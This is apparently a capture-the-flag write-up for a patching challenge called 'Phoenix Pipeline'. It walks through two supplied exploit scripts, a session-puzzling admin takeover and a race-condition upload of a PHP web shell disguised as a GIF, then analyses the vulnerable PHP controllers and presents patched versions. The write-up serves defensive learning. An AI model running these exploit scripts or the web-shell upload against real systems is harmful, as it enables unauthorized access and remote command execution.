Phoenix Pipeline
Description
With the NecroNet defeated, the Citadel unveils the Phoenix Pipeline, rebirthing global services in a resilient web—ushering in a secure, enduring tomorrow.
Spawning the weirdly gives us 2 instance?
83.136.251.242:58140 83.136.251.242:49312
The first instance is the editor.
There are two exploits it seems like:
Exploit 1: Session Puzzling
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from requests import post, get
BASE_URL = 'http://localhost:1337/challenge'
def register_user(username, password):
data = {
'username': username,
'password': password,
'area': 'Aetheria'
}
response = post(f'{BASE_URL}/register', data=data, allow_redirects=False)
return response.cookies
def get_admin_page(cookie):
response = get(f'{BASE_URL}/admin', cookies=cookie)
return response.text
if __name__ == '__main__':
username = 'admin'
password = 'admin'
cookie = register_user(username, password)
if cookie is None:
print('Exploit failed')
exit()
admin_response = get_admin_page(cookie)
if 'ADMIN CONTROL' in admin_response:
print('Get admin access. Cookie: ', cookie['PHPSESSID'])
The first exploit looks very simple. Register as admin:admin. The server will return a session cookie. You have admin access!
Let’s look at the code and understand why this works.
AuthController.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
require_once __DIR__ . '/../Models/Database.php';
class AuthController {
public static function showLogin() {
require __DIR__ . '/../Views/login.php';
}
public static function showRegister() {
require __DIR__ . '/../Views/register.php';
}
public static function login() {
$db = Database::getInstance()->getConnection();
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$stmt = $db->prepare('SELECT * FROM users WHERE username = ?');
$stmt->execute([$username]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);
if ($user && password_verify($password, $user['password'])) {
$_SESSION['username'] = $user['username'];
$_SESSION['area'] = $user['area'];
header('Location: ' . ($user['username'] === 'admin' ? '/challenge/admin' : '/challenge/operator'));
exit;
}
$error = 'Invalid credentials';
require __DIR__ . '/../Views/login.php';
}
public static function logout() {
session_unset();
session_destroy();
header('Location: /challenge/login');
exit;
}
public static function register() {
$db = Database::getInstance()->getConnection();
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$area = $_POST['area'] ?? '';
// Set the session so user can login immediately after registration
$_SESSION['username'] = $username;
$_SESSION['area'] = $area;
$stmt = $db->prepare('SELECT * FROM users WHERE username = ?');
$stmt->execute([$username]);
if ($stmt->fetch()) {
header('Location: /challenge/username-exists');
exit;
}
$hash = password_hash($password, PASSWORD_DEFAULT);
$stmt = $db->prepare('INSERT INTO users (username, password, role, area) VALUES (?, ?, ?, ?)');
$stmt->execute([$username, $hash, 'operator', $area]);
header('Location: /challenge/operator');
exit;
}
public static function usernameExists() {
unset($_SESSION['username'], $_SESSION['area']);
require __DIR__ . '/../Views/username_exists.php';
}
}
What immediately catches my attention is the part:
1
2
3
4
5
6
if ($user && password_verify($password, $user['password'])) {
$_SESSION['username'] = $user['username'];
$_SESSION['area'] = $user['area'];
header('Location: ' . ($user['username'] === 'admin' ? '/challenge/admin' : '/challenge/operator'));
exit;
}
and the line:
header('Location: ' . ($user['username'] === 'admin' ? '/challenge/admin' : '/challenge/operator'));
It just means if the username is admin, it will redirect to /challenge/admin. So admin access is tied to the username, not the role.
Since the exploit depends on checking for the cookie, we won’t assign the cookie immediately. Also, we won’t allow for a user to login as admin purely based on their username. Let’s implement a check for the role.
Modifications
We will modify the bits of code in both Login() and Register() methods.
Login:
1
2
3
4
5
6
7
if ($user && password_verify($password, $user['password'])) {
$_SESSION['username'] = $user['username'];
$_SESSION['area'] = $user['area'];
$_SESSION['role'] = $user['role'];
header('Location: ' . ($user['role'] === 'admin' ? '/challenge/admin' : '/challenge/operator'));
exit;
}
Register:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public static function register() {
$db = Database::getInstance()->getConnection();
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$area = $_POST['area'] ?? '';
$stmt = $db->prepare('SELECT * FROM users WHERE username = ?');
$stmt->execute([$username]);
if ($stmt->fetch()) {
header('Location: /challenge/username-exists');
exit;
}
$hash = password_hash($password, PASSWORD_DEFAULT);
$stmt = $db->prepare('INSERT INTO users (username, password, role, area) VALUES (?, ?, ?, ?)');
$stmt->execute([$username, $hash, 'operator', $area]);
$_SESSION['username'] = $username;
$_SESSION['area'] = $area;
header('Location: /challenge/operator');
exit;
}
To summarize: Login() will check admin privileges based on the role, not the username. Register() will set the session variables after the user is created.
Exploit 2: File Upload
This is an authenticate file upload vulnerability.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
def upload_file(cookie):
data = {
'infra_id': INFRA_ID,
'description': DESCRIPTION
}
file_data = io.BytesIO(SHELL_PAYLOAD)
files = {
FIELD_NAME: (FILENAME, file_data, 'image/gif')
}
try:
response = requests.post(
UPLOAD_URL,
data=data,
files=files,
timeout=UPLOAD_TIMEOUT,
cookies=cookie
)
return response.status_code == 200
except Exception as e:
return False
def hit_shell(cookie):
try:
if success_flag.value:
return
try:
response = requests.get(TARGET, timeout=SHELL_TIMEOUT, cookies=cookie)
date = response.headers.get('Date')
date_obj = datetime.strptime(date, '%a, %d %b %Y %H:%M:%S GMT')
formatted_date = date_obj.strftime('%Y_%m_%d')
except Exception as e:
formatted_date = datetime.now().strftime('%Y_%m_%d')
# Calculate filename hash
md5_hash = md5(FILENAME.encode()).hexdigest()
shell_url = f'{TARGET}/uploads/temp_{md5_hash}_{formatted_date}.php?cmd=id'
response = requests.get(shell_url, timeout=SHELL_TIMEOUT, cookies=cookie)
if (response.status_code == 200 and
"<?php" not in response.text and
len(response.text.strip()) > 0):
# Set success flag to prevent other processes from reporting
with success_flag.get_lock():
if not success_flag.value:
success_flag.value = True
print(f"\n[🎯] SUCCESS! Shell found at {shell_url}")
print(f"[📟] {response.text.strip()}")
# Kill all processes
os.kill(0, 9) # Kill process group
except requests.RequestException as e:
print(f"[❌] Shell check failed: {e}")
except Exception as e:
print(f"[❌] Unexpected shell error: {e}")
def race_once(cookie):
upload_thread = threading.Thread(target=upload_file, args=(cookie,))
check_thread = threading.Thread(target=hit_shell, args=(cookie,))
upload_thread.start()
check_thread.start()
upload_thread.join()
check_thread.join()
def race_loop_child(attempts, cookie):
for i in range(attempts):
if success_flag.value:
break
print(f"[{os.getpid()}] Attempt #{i+1}")
race_once(cookie)
This is a race condition exploit. It works by:
- Uploads shell.php disguised as an image (image/gif MIME type)
- Immediately tries to access the uploaded file before it gets deleted
The exploit predicts the temporary filename using:
- MD5 hash of the original filename
- Current date from server headers
- Pattern: temp_{hash}_{date}.php
OperatorController.php
The affected function is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
public static function submitReport() {
if (!isset($_SESSION['username']) || $_SESSION['username'] === 'admin') {
header('Location: /challenge/login'); exit;
}
$db = Database::getInstance()->getConnection();
$user_id = self::getUserId($_SESSION['username']);
$infra_id = $_POST['infra_id'] ?? '';
$description = $_POST['description'] ?? '';
$area = $_SESSION['area'];
$showFormWithError = function($errorMessage) use ($db, $area) {
$error = $errorMessage;
$stmt = $db->prepare('SELECT * FROM infrastructure WHERE area = ? ORDER BY name');
$stmt->execute([$area]);
$infra = $stmt->fetchAll(PDO::FETCH_ASSOC);
require __DIR__ . '/../Views/report_form.php';
};
if (empty($infra_id) || empty($description)) {
$showFormWithError('All fields are required.');
return;
}
$stmt = $db->prepare('SELECT id FROM infrastructure WHERE id = ? AND area = ?');
$stmt->execute([$infra_id, $area]);
if (!$stmt->fetch()) {
$showFormWithError('Invalid infrastructure selected.');
return;
}
if (!isset($_FILES['photo']) || $_FILES['photo']['error'] !== UPLOAD_ERR_OK) {
$showFormWithError('Photo documentation is required.');
return;
}
$maxFileSize = 10 * 1024 * 1024; // 10MB in bytes
if ($_FILES['photo']['size'] > $maxFileSize) {
$showFormWithError('File size too large. Maximum allowed size is 10MB.');
return;
}
$original = $_FILES['photo']['name'];
$ext = strtolower(pathinfo($original, PATHINFO_EXTENSION));
$tmp_name = $_FILES['photo']['tmp_name'];
$date = date('Y_m_d');
$rand = md5($original);
$tempfile = __DIR__ . '/../uploads/temp_' . $rand . '_' . $date . '.' . $ext;
if (!move_uploaded_file($tmp_name, $tempfile)) {
$showFormWithError('Failed to upload file. Please try again.');
return;
}
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $tempfile);
finfo_close($finfo);
if (strpos($mime, 'image/') !== 0) {
unlink($tempfile);
$showFormWithError('Invalid file type. Only image files are allowed.');
return;
}
$allowed = ['jpg','jpeg','png','gif','bmp','webp'];
if (!in_array($ext, $allowed)) {
unlink($tempfile);
$showFormWithError('Invalid file extension. Only image files (JPG, PNG, GIF, BMP, WEBP) are allowed.');
return;
}
$infra_name = self::getInfraName($infra_id);
$final = __DIR__ . '/../uploads/documentation_' . $area . '_' . preg_replace('/\W/','',$infra_name) . "_" . $rand . '_' . $date . '.' . $ext;
if (!move_uploaded_file($tempfile, $final)) {
unlink($tempfile);
$showFormWithError('Failed to save file. Please try again.');
return;
}
$photo_path = basename($final);
try {
$stmt = $db->prepare('INSERT INTO reports (user_id, infra_id, area, description, photo_path) VALUES (?, ?, ?, ?, ?)');
$stmt->execute([$user_id, $infra_id, $area, $description, $photo_path]);
header('Location: /challenge/reports');
exit;
} catch (Exception $e) {
unlink($final);
$showFormWithError('Failed to save report. Please try again.');
return;
}
}
From the affected function, we can confirm that:
- The file uploaded is named using a random MD5 hash of the original filename and the current date.
- The race window(where the race condition exists): Between the move_uploaded_file() and the validation checks, there’s a window where:
- The malicious PHP file exists at a predictable location
- The web server can execute it if accessed
- No validation has happened yet
How to fix it?
- Validate the file type before moving it anywhere.
- Check if the file is actually an image after moving it to a temporary location.
- Store uploads in a secure location outside the web root during processing. (Optional)
- Move the file to its final location only after all validations are complete.
Modifications
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
public static function submitReport() {
if (!isset($_SESSION['username']) || $_SESSION['username'] === 'admin') {
header('Location: /challenge/login'); exit;
}
$db = Database::getInstance()->getConnection();
$user_id = self::getUserId($_SESSION['username']);
$infra_id = $_POST['infra_id'] ?? '';
$description = $_POST['description'] ?? '';
$area = $_SESSION['area'];
$showFormWithError = function($errorMessage) use ($db, $area) {
$error = $errorMessage;
$stmt = $db->prepare('SELECT * FROM infrastructure WHERE area = ? ORDER BY name');
$stmt->execute([$area]);
$infra = $stmt->fetchAll(PDO::FETCH_ASSOC);
require __DIR__ . '/../Views/report_form.php';
};
if (empty($infra_id) || empty($description)) {
$showFormWithError('All fields are required.');
return;
}
$stmt = $db->prepare('SELECT id FROM infrastructure WHERE id = ? AND area = ?');
$stmt->execute([$infra_id, $area]);
if (!$stmt->fetch()) {
$showFormWithError('Invalid infrastructure selected.');
return;
}
if (!isset($_FILES['photo']) || $_FILES['photo']['error'] !== UPLOAD_ERR_OK) {
$showFormWithError('Photo documentation is required.');
return;
}
$maxFileSize = 10 * 1024 * 1024; // 10MB in bytes
if ($_FILES['photo']['size'] > $maxFileSize) {
$showFormWithError('File size too large. Maximum allowed size is 10MB.');
return;
}
$original = $_FILES['photo']['name'];
$ext = strtolower(pathinfo($original, PATHINFO_EXTENSION));
$tmp_name = $_FILES['photo']['tmp_name'];
$allowed = ['jpg','jpeg','png','gif','bmp','webp'];
if (!in_array($ext, $allowed)) {
$showFormWithError('Invalid file extension. Only image files (JPG, PNG, GIF, BMP, WEBP) are allowed.');
return;
}
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $tmp_name);
finfo_close($finfo);
if (strpos($mime, 'image/') !== 0) {
$showFormWithError('Invalid file type. Only image files are allowed.');
return;
}
$date = date('Y_m_d');
$rand = md5($original);
$tempfile = __DIR__ . '/../uploads/temp_' . $rand . '_' . $date . '.' . $ext;
if (!move_uploaded_file($tmp_name, $tempfile)) {
$showFormWithError('Failed to upload file. Please try again.');
return;
}
$imageinfo = getimagesize($tempfile);
if ($imageinfo === false) {
unlink($tempfile);
$showFormWithError('Invalid image file. File appears to be corrupted or not a valid image.');
return;
}
$infra_name = self::getInfraName($infra_id);
$final = __DIR__ . '/../uploads/documentation_' . $area . '_' . preg_replace('/\W/','',$infra_name) . "_" . $rand . '_' . $date . '.' . $ext;
if (!rename($tempfile, $final)) {
unlink($tempfile);
$showFormWithError('Failed to save file. Please try again.');
return;
}
$photo_path = basename($final);
try {
$stmt = $db->prepare('INSERT INTO reports (user_id, infra_id, area, description, photo_path) VALUES (?, ?, ?, ?, ?)');
$stmt->execute([$user_id, $infra_id, $area, $description, $photo_path]);
header('Location: /challenge/reports');
exit;
} catch (Exception $e) {
unlink($final);
$showFormWithError('Failed to save report. Please try again.');
return;
}
}